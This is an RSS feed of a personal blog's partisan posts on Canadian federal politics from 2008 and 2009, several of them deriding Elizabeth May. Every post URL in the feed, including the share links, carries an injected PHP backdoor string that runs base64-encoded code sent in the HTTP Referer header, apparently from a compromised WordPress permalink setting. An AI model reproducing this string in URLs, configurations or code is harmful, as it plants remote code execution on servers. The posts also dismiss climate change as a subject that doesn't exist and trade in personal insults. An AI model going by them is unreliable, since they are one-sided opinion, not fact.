<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>erwingerrits.com &#187; May</title>
	<atom:link href="http://www.erwingerrits.com/tag/may/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.erwingerrits.com</link>
	<description>The eyes are open, the mouth moves, but Mr. Brain has long since departed.</description>
	<lastBuildDate>Wed, 12 May 2010 14:59:53 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Twitter&#8211;fun while it lasted</title>
		<link>http://www.erwingerrits.com/2009/05/05/twitter-fun-while-it-lasted/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2009/05/05/twitter-fun-while-it-lasted/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 05 May 2009 13:14:55 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[May]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=1022</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2009%2F05%2F05%2Ftwitter-fun-while-it-lasted%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2009%2F05%2F05%2Ftwitter-fun-while-it-lasted%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>So I guess Twitter has gotten too big for its own good&#8211;the web site&#8217;s down half the time due to traffic, and I am now getting about 200 notifications a day of various vague people following me with such names as: Susan, Allison, Alyssa, Melody, James, Kristen, Erma, Jodie and Alexis: it&#8217;s like the cast of Melrose Place wants to be my friend! As a result, I now have 20 spammers listed as followers and the fun has been taken away. Much like Facebook, which was a good tool at first to keep in touch with people, but is now not much more than a glorified soapbox for narcissistic people who want show off what they have, and let us know about every fart they pass. That, and having to install sixty-five applications to watch a video. No thanks.</p>
<p>I think it&#8217;s time to quit Twitter, before it gets REALLY annoying: when Viagra wants to follow me, or worse yet, <a href="http://twitter.com/ElizabethMay">Elizabeth May</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2009/05/05/twitter-fun-while-it-lasted/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>KFG, Anyone?</title>
		<link>http://www.erwingerrits.com/2009/03/25/kfg-anyone/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2009/03/25/kfg-anyone/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 25 Mar 2009 13:11:10 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[Canada Geese]]></category>
		<category><![CDATA[May]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=926</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2009%2F03%2F25%2Fkfg-anyone%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2009%2F03%2F25%2Fkfg-anyone%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>Tory Senator Nancy Ruth <a href="http://www.thestarphoenix.com/Technology/Kill+those+geese+feed+them+poor+Tory+senator/1423428/story.html">told reporters on Tuesday</a> that &#8220;Canada Geese should be culled and fed to the poor&#8221;. Now, I agree there&#8217;s too many Canada Geese, andexcrement is a problem, but feeding them to &#8220;the poor&#8221;, whoever they are, is not a solution. I mean, have you ever tasted wild goose? It isn&#8217;t much good. I am sure those &#8220;poor&#8221; (I assume they would include the bums on our streets who get their nutrition from a regular bottle of rum), would turn up their noses at the sight of Canada Goose. Might as well serve up beaver. Or Elizabeth May.</p>
<p>And I wouldn&#8217;t serve that to my worst enemy&#8230;</p>
<p>&#8230;who happens to be Elizabeth May.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2009/03/25/kfg-anyone/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Ms. May is in Poland &#8212; can she stay there, please?</title>
		<link>http://www.erwingerrits.com/2008/12/14/554/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/12/14/554/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 14 Dec 2008 16:17:32 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Global arming]]></category>
		<category><![CDATA[Layton]]></category>
		<category><![CDATA[May]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=554</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F14%2F554%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F14%2F554%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>While the mercury in Ottawa got stuck overnight at -32 (I hear it is going to be -38 over in <a href="http://seanhblog.blogspot.com/2008/12/global-warming.html">Calgary</a>), a senior Environment Canada scientist is <a href="http://www.canada.com/topics/news/story.html?id=1069276">blasting the federal government</a> for causing a &#8220;public embarrassment for Canada&#8221; by preventing him from organizing a world gathering of experts on global warming. Don MacIver is the director of the Adaptation and Impacts Research Division at EC and was chairing a committee for the WMO (World Meteorological Organization) at the UN climate change summit in Poland, the same summit where <a href="http://www.erwingerrits.com/?p=501">Elizabeth May is peddling her Global Warming For Dummies book</a>. Senior bureaucrats scrapped the trip in a cost-cutting measure. I agree, sending our &#8220;scientists&#8221; to false UN summits on subjects that don&#8217;t exist is not in the tax payers&#8217; best interest. And if Elizabeth May is there, it can&#8217;t, by definition, be good for the taxpayers. According to Ms. May, delegates from other countries were &#8220;puzzled&#8221; by the cancellation of our committee chair&#8217;s address, and were left &#8220;wondering why it got cancelled&#8221; (that&#8217;s quite the &#8220;public embarrassment&#8221;). Earlier in the week, May was heard saying people at the summit had &#8221;burst into tears&#8221; when they heard Harper had prorogued parliament.</p>
<p>I guess what I am trying to say is that Ms. May is more of an embarrassment to Canada than any cancellation of any speech ever will.</p>
<p>This all comes on the heels of a report that <a href="http://cleantechnica.com/2008/09/11/could-melting-ice-caps-reduce-global-warming/">melting polar ice caps could actually help the fight against global warming</a>. Apparently, there is excessive plankton growth in the sea areas that are now ice free, creating a huge carbon sink.</p>
<p>And Jack Layton just <a href="http://www.ndp.ca/ecards/all-i-want-for-christmas">can&#8217;t give up</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/12/14/554/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Is &#8220;Determined Determination&#8221; the same as &#8220;Entitled to our Entitlements&#8221;?</title>
		<link>http://www.erwingerrits.com/2008/12/11/is-determined-determination-the-same-as-entitled-to-our-entitlements/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/12/11/is-determined-determination-the-same-as-entitled-to-our-entitlements/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Dec 2008 17:03:00 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Ignafieff]]></category>
		<category><![CDATA[Liberals]]></category>
		<category><![CDATA[May]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=519</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F11%2Fis-determined-determination-the-same-as-entitled-to-our-entitlements%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F11%2Fis-determined-determination-the-same-as-entitled-to-our-entitlements%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>While <a href="http://www.nationalpost.com/todays_paper/story.html?id=1059728">Martha Hall Findlay wiped the tears from her eyes</a>, the <strong>World&#8217;s Seventh Intellect</strong> (is this the same as &#8220;Canada&#8217;s Foremost Thinker&#8221; to describe a certain <a href="http://www.gaspereau.com/1554470188.shtml">GG husband</a>?) stumbled in his first speech yesterday. &#8220;<a href="http://finalspin.wordpress.com/2008/12/11/determined-determination-eh/">Determined determination</a>&#8221; must be the epitome of smartness. So utter intellectual that simple folks like you or I would almost think it doesn&#8217;t make any sense. But I suppose there are only about six people in the world who could come up with better phrasing, so who are we to complain?</p>
<p>It also seems that the World&#8217;s Seventh Intellect <a href="http://network.nationalpost.com/np/blogs/posted/archive/2008/12/10/live-blog-ignatieff-s-first-news-conference-as-liberal-leader.aspx">likes the smell of manure</a>. He&#8217;s such a farm-boy, our little Iggy. Doesn&#8217;t he look like he could, at any given time, peal off his suit like Superman, reveal his dirty coveralls underneath, grab a pitch fork and shovel some shit?</p>
<p>Jack Layton is laying low. After in effect being called stupid by Ignatieff in the aforementioned speech, and <a href="http://www.smalldeadanimals.com/archives/010249.html">his wife&#8217;s online poll-gaffe</a>, I think it is best to hide out until after Christmas. Plus I&#8217;ve seen enough of his moustache for a while.</p>
<p>With Dion gone, Rae gone and Lizzy May out of the country, politics have suddenly become non-humourous. Shame, shame, shame.</p>
<p><strong>UPDATE:</strong> Thanks to <a href="http://www.bluelikeyou.com">Blue Like You</a> and <a href="http://www.smalldeadanimals.com">Small Dead Animals</a> for sending hordes of folks this way and keeping me from doing my work all afternoon (and that&#8217;s a good thing!)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/12/11/is-determined-determination-the-same-as-entitled-to-our-entitlements/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Anything to Get Into Power</title>
		<link>http://www.erwingerrits.com/2008/10/13/anything-to-get-into-power/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/10/13/anything-to-get-into-power/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 15:02:52 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Conservatives]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Election 2008]]></category>
		<category><![CDATA[Layton]]></category>
		<category><![CDATA[Liberals]]></category>
		<category><![CDATA[May]]></category>
		<category><![CDATA[NDP]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=251</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F13%2Fanything-to-get-into-power%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F13%2Fanything-to-get-into-power%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>This is the first election I&#8217;ve heard the opposition parties say: If the Conservatives win a strong minority or a slight majority that means they got 40% of the vote which means 60% of Canada did NOT vote for them. 60% of Canadians DO NOT WANT them. That means 60% of Canada voted for US and so we should govern.</p>
<p>So I did some research into <a href="http://www.sfu.ca/~aheard/elections/1867-2004.html">past elections </a>and, applying the above &#8216;rule&#8217;, where you don&#8217;t have the Canadian people&#8217;s blessing to govern if you don&#8217;t get more than 50% of the vote, the history of our country would have been quite different:<span id="more-251"></span></p>
<ul>
<li>1867: Conservative won with 50%, Macdonald can stay.</li>
<li>1872  Conservative won with 49.9%. <strong>Macdonald thrown out</strong>. Liberals and Other govern. (Blake PM)</li>
<li>1874: Liberals won with 53.8%. Mackenzie can stay.</li>
<li>1882: Conservative win with 53.4%. Macdonald can stay.</li>
<li>1887: Conservative win with 50.7%: Macdonald can stay.</li>
<li>1891: Conservative win with 52%. Macdonald can stay.</li>
<li>1896: Liberals win with 45.1%. <strong>Laurier thrown out</strong>. Conservative &amp; Order govern (Charles Tupper PM)</li>
<li>1900: Liberal win with 52%. Laurier can stay.</li>
<li>1904: Liberals win with 52.5%. Laurier can stay.</li>
<li>1908: Liberals win with 50.6%. Laurier can stay.</li>
<li>1911: Conservatives win with 51.2%. Borden can stay.</li>
<li>1917: Conservatives win with 57%. Borden can stay.</li>
<li>1921: Liberals win with 40.7%. <strong>Mackenzie King thrown out</strong>. Other and Conservatives govern. (Arthur Meighen PM)</li>
<li>1926: Liberals win with 43.6%. <strong>Mackenzie King rown out</strong>. Conservatives &amp; Other govern. (Arthur Meighen PM)</li>
<li>1930 Conservatives win with 49%. <strong>Bennett thrown out</strong>. Liberal &amp; Other govern. (Mackenzie King PM)</li>
<li>1935 Liberals win with 44.4%. <strong>Mackenzie King thrown out</strong>. Conservative, Social Credit &amp; Other govern.</li>
<li>1945: Liberals win with: 41.4%. <strong>Mackenzie King thrown out</strong>. Progressive Conservatives, CCF, Social Credit &amp; Other govern. (John Bracken PM)</li>
<li>1949: Liberals win with 50.1%. St-Laurent can stay.</li>
<li>1953: Liberals win with 50%. St-Laurent can stay.</li>
<li>1957: Progressive Conservatives win with 39%. <strong>Diefenbaker thrown out</strong>. Liberals, CCF, Social Credit &amp; Other govern. (St-Laurent PM)</li>
<li>1958: Progressive Conservatives win with 53.7%. Diefenbaker can stay.</li>
<li>1962: Progressive Conservatives win with 37.3%. <strong>Diefenbaker thrown out</strong>. Liberals, Social Credit, NDP &amp; Other govern.</li>
<li>1963: Liberals win with 41.7%. <strong>Pearson thrown out</strong>. PC, Social Credit, NDP &amp; Other govern. (Diefenbaker PM)</li>
<li>1972: Liberals win with 38.5%.<strong> Trudeau thrown out.</strong>PC, NDP, SC &amp; Other govern. (Stanfields PM)</li>
<li>1974: Liberals win with 43.2%. <strong>Trudeau thrown out.</strong>PC, NDP, SC &amp; Other govern. (Stanfields PM)</li>
<li>1979: PC win with 35.9%. <strong>Joe Clark thrown out.</strong> Liberal, NDP, SC &amp; Other govern. (Trudeau PM)</li>
<li>1980: Liberals win with 44.3%. <strong>Trudeau thrown out.</strong> PC, NDP, SC &amp; Other govern. (Joe Clark PM)</li>
<li>1984: PC win with 50%. Mulroney can stay.</li>
<li>1988: PC win with 43%. <strong>Mulroney thrown out.</strong> Liberals, NDP, SC &amp; Other govern. (Turner PM)</li>
<li>1993: Liberals win with 41.3%. <strong>Chretien thrown out. </strong>Bloc, Reform, NDP, PC &amp; Other govern. (<strong>Lucien Bouchard PM!!</strong>)</li>
<li>1997: Liberals win with 38.5%. <strong>Chretien Thrown out.</strong> Reform, Bloc, NDP,PC &amp; Other govern. (Manning PM)</li>
<li>2000: Liberals win with 40.8%.<strong> Chretien Thrown out. </strong>Canadian Alliance, Bloc,NDP, PC &amp; Other govern. (Stockwell Day PM)</li>
<li>2004: Liberals win with 36.7%. <strong>Martin thrown out. </strong>Conservatives, Bloc, NDP, Green &amp; Other govern. (<span style="text-decoration: line-through;">Stockwell Day</span> Harper PM)</li>
<li>2006: Conservatives win with &lt;50%.<strong> Harper thrown out.</strong> Liberals, NDP, Bloc &amp; Green govern. <span style="text-decoration: line-through;">Dion</span> Martin PM.</li>
</ul>
<p>So, to recap, with this new &#8216;rule&#8217; we&#8217;d have had: No Jean Chretien (+), A BQ as PM (-), No Paul Martin (+), No Free-Trade (-), One term of Trudeau (+), Right Government for past 15 yars (+)</p>
<p>Hmm&#8230; more pluses than minuses. Maybe they&#8217;re onto something here&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/10/13/anything-to-get-into-power/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Scary thoughts enter my mind</title>
		<link>http://www.erwingerrits.com/2008/10/10/scary-thoughts-enter-my-mind/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/10/10/scary-thoughts-enter-my-mind/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 16:47:30 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Conservatives]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Election 2008]]></category>
		<category><![CDATA[Layton]]></category>
		<category><![CDATA[Liberals]]></category>
		<category><![CDATA[May]]></category>
		<category><![CDATA[NDP]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=237</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F10%2Fscary-thoughts-enter-my-mind%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F10%2Fscary-thoughts-enter-my-mind%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>Hypothetical scenario:</p>
<p>Minority Conservative Government. First vote of confidence will be on Tough on Crime for Young Offenders. It will (obviously) be defeated. Liberals, NDP, Bloc and Greens will go to the Governor General, and form a new coalition government. We&#8217;ll get:</p>
<ol>
<li>Prime Minister Stephane Dion</li>
<li>Minister of Finance: Bob Rae</li>
<li>Minister of Defense: Jack Layton</li>
<li>Minister of the Environment: Elizabeth May</li>
</ol>
<p>If this doesn&#8217;t scare anybody I don&#8217;t know what this country is a-comin&#8217; to.</p>
<p>And this is a VERY REALISTIC scenario. The Bloc, Greens and NDP have already said they&#8217;re open to it. Dion has REFUSED to rule out putting May in his cabinet, indicating he&#8217;s open to a coalition. The only way to stop this is by electing a majority Conservative government.</p>
<p>h/t to <a href="http://www.cfra.com/hosts/lowell.asp">Lowell Green</a>&#8217;s radio show</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/10/10/scary-thoughts-enter-my-mind/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Election 2008 &#8211; Day, what, 28?</title>
		<link>http://www.erwingerrits.com/2008/10/09/election-2008-day-what-28/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/10/09/election-2008-day-what-28/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 18:25:55 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Election 2008]]></category>
		<category><![CDATA[May]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=215</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F09%2Felection-2008-day-what-28%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F09%2Felection-2008-day-what-28%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p><strong>To Elizabeth May</strong>:</p>
<p>I&#8217;ve had it with you. First you were voted out of the debates and you cried foul. Then some people cheered for you and you were, with kind permission of Harper and Layton, let back in, even though your numbers didn&#8217;t allow it. You called it a &#8220;victory for democracy&#8221;. At the debates all you did was talk through people and point fingers. Then you were accused of making a deal with Dion to, at the last minute, call upon your people to vote strategically, and in most ridings that would mean Liberal. You denied this deal.</p>
<p>Now, it comes out, <a href="http://www.theglobeandmail.com/servlet/story/RTGAM.20081008.welxngreens1009/BNStory/politics/home?cid=al_gam_mostemail">that you are actually calling upon your followers to vote strategically in certain ridings </a>to stop Harper.</p>
<p>You call yourself a leader. You put forth candidates all across this country who put their heart and soul into canvassing and campaigning for YOU and now you tell them they don&#8217;t matter. People in their ridings should vote Liberal instead. If I was running for you in one of those ridings I&#8217;d be pretty pissed. Thanks for nothing. What, you can&#8217;t even get YOURSELF elected, you don&#8217;t want anybody else to either?</p>
<p>Ms. May, you are a liar, and you better crawl back into the hole you came from and if I never hear from you again, it&#8217;ll be too soon.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/10/09/election-2008-day-what-28/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Harper has a plan, Dion has a plan to come up with a plan</title>
		<link>http://www.erwingerrits.com/2008/10/07/harper-has-a-plan-dion-has-a-plan-to-come-up-with-a-plan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/10/07/harper-has-a-plan-dion-has-a-plan-to-come-up-with-a-plan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 08 Oct 2008 00:51:26 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Election 2008]]></category>
		<category><![CDATA[Harper]]></category>
		<category><![CDATA[Layton]]></category>
		<category><![CDATA[May]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=201</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F07%2Fharper-has-a-plan-dion-has-a-plan-to-come-up-with-a-plan%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F07%2Fharper-has-a-plan-dion-has-a-plan-to-come-up-with-a-plan%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p><a href="http://www.thestar.com/printArticle/287680">From The Star, December 21, 2007:</a></p>
<blockquote><p>OTTAWA – Prime Minister Stephen Harper expects Canada&#8217;s economy to suffer next year, buffeted by turmoil south of the border and the &#8220;cost&#8221; of new climate-change measures here at home.</p></blockquote>
<blockquote><p>In a calculated signal to Canadians, Harper said that 2008 will be &#8220;more challenging&#8221; for his government and the country.</p>
<p>&#8220;There remains very serious economic uncertainty in the United States and in other parts of the world, and it&#8217;s impossible for me to see how Canada can be entirely immune from those developments,&#8221; he said in a year-end interview with the <em>Star</em>.</p>
<p><span id="more-201"></span>While Harper has warned of uncertainty before, this is his strongest statement yet that economic problems will hit Canada in what many expect to be an election year.</p>
<p>As a result, Harper said the government is planning a &#8220;stand-pat&#8221; budget aimed at stability.</p>
<p>&#8220;We will have very much a stand-pat fiscal stance focused on stability, focused on paying down debt, which is what families and businesses do when they face a period of some uncertainty,&#8221; he said.</p>
<p>His warnings came as the International Monetary Fund downgraded its economic growth forecast for Canada to somewhat less than the 2.3 per cent it forecast just three months ago.</p>
<p>In the United States, housing and credit woes have sparked fears of a full-blown recession. Earlier this month, TD economists warned that Canadian economic growth will &#8220;slow materially&#8221; in the months ahead.</p>
